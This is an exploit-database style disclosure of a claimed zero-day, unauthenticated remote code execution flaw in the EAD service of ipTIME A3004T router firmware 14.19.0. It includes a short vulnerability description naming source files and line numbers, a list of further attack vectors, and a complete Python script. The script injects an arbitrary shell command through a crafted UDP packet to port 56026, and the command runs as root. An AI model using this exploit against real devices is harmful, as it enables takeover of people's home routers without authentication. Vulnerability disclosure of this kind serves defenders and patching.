ipTIME A3004T – Remote Code Execution
# Exploit Title: ipTIME A3004T - Remote Code Execution # Date: 2026-06-29 # Exploit Author: Paccaron # Vendor Homepage: https://www.iptime.com # Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34 # Version: 14.19.0 # Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621) # CVE: N/A (Zero-Day) Description: The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026 and does not filter source IP addresses. A remote attacker can send a crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the device with root privileges. The vulnerability exists in the handle_send_cmd() function where user-controlled data is passed directly to system() without any input sanitization. Vulnerable File: /package/network/services/ead/src/ead.c Vulnerable Functions: handle_send_cmd() (lines 473-580) Vulnerable Lines: 512, 533 Attack Vectors: 1. Pre-auth RCE (Command Injection) - Lines 512, 533 2. Buffer Overflow - ead-client.c:245 (strcpy) 3. Format String - ead.c:952 4. Path Traversal - tinysrp/t_misc.c:143 5. Denial of Service - ead.c:716 (while loop) import socket import sys def exploit(target_ip, command): """ ipTIME A3004T EAD Service Pre-auth RCE Exploit by Paccaron Tested on firmware 14.19.0 """ port = 56026 # EAD_TYPE_SEND_CMD = 0x0a (10) # Minimal packet structure payload = b"\x00\x00\x00\x0a" # EAD_TYPE_SEND_CMD payload += b"\x00" * 60 # Padding payload += b";" + command.encode() + b"\x00" # Command injection sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(payload, (target_ip, port)) print(f"[+] Command sent to {target_ip}:{port}") print(f"[+] Command: {command}") sock.close() return True except Exception as e: print(f"[-] Failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python exploit.py <TARGET_IP> <COMMAND>") print("Example: python exploit.py 192.168.1.1 id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd) |